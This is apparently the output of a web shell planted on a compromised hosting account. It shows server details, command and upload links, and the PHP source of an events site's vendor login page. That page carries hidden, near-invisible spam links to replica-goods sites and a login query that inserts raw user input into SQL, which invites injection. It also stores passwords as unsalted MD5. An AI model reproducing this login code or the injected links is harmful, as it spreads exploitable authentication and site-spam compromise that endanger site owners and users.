Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/eventsbyshubhchintak/vendor/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); ?> <!DOCTYPE html> <html lang="en"> <?php include 'includes/db-conn.inc.php'; include'includes/head.php'; if(isset($_SESSION['usermobile'])){ echo "<script>window.location = 'dashboard.php';</script>"; } ?> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.css"> <body data-ng-app=""> <div id="preloader"> <div id="status"> </div><div style="position: absolute; filter: alpha(opacity=0); opacity: 0.001; z-index: 10;"><a href="https://replicachanel.us.com">replica chanel</a></div> </div> <!--TOP SEARCH SECTION--> <?php include'includes/header.php'; ?> <section class="tz-register"> <div class="log-in-pop"> <div class="log-in-pop-left"> <h1>Hello... <span>{{ name1 }}</span></h1> <p>Login here. It's take less then a minutes</p> <h4>Login Here</h4> <ul> <li><a href="#">Add Listing</a> </li> <li><a href="#"> Grow Business</a> </li> <li><a href="#"> Generate Leads</a> </li> </ul> </div> <div class="log-in-pop-right"> <h4>Login</h4> <p>Login here. It's take less then a minutes</p> <form class="s12" method="POST" enctype="multipart/form-data" action=""> <div> <div class="input-field s12"> <input type="text" name="txtusermobile" minlength="10" maxlength="10" class="validate" required=""> <label>Mobile Number</label> </div> </div> <div> <div class="input-field s12"> <input type="password" name="txtpassword" class="validate" required=""> <label>Password</label> </div> <span class="alert alert-danger" role="alert" id="error" style="display:none;margin-top: 7px;">Wrong Password.</span> </div> <div> <div class="input-field s4"> <input type="submit" value="Login" class="waves-effect waves-light log-in-btn" name="login" > </div> </div> <div> <div class="input-field s12"> <a href="">Forgot password</a> | <a href="../vendor-register.php">Create a new account</a> </div> </div> </form> </div> </div><div style="position: absolute; filter: alpha(opacity=0); opacity: 0.001; z-index: 10;"><a href="http://www.conference.iardo.com">chanel outlet</a></div> </section> <!--FOOTER SECTION--> <?php include'includes/footer.php'; ?> <!--COPY RIGHTS--> <!--SCRIPT FILES--> <script src="js\jquery.min.js"></script> <script src="js\angular.min.js"></script> <script src="js\bootstrap.js" type="text/javascript"></script> <script src="js\materialize.min.js" type="text/javascript"></script> <script src="js\custom.js"></script> </body> </html> <?php if(isset($_POST['login'])) { // $email=mysqli_real_escape_string($db,$_POST['email']); $userpassword=md5($_POST['txtpassword']); $usernumber=$_POST['txtusermobile']; $sql=mysqli_query($conn,"select * from tbl_vendor where number='$usernumber' and password='$userpassword' and status='1'") or die(mysqli_error($conn)); $row=mysqli_num_rows($sql); if($row==1) { $data=mysqli_fetch_array($sql); extract($data); $_SESSION['usermobile']=$number; $_SESSION['userregid']=$vendorid; $_SESSION['username']=$name; // echo "<script>alert($_SESSION['usermobile'])</script>"; echo "<script>window.location = 'dashboard.php';</script>"; } else { ?> <script> swal({ title: "Sorry !", text: "Wrong Mobile number and Password.", type: "Error" }); </script> <?php } } ?>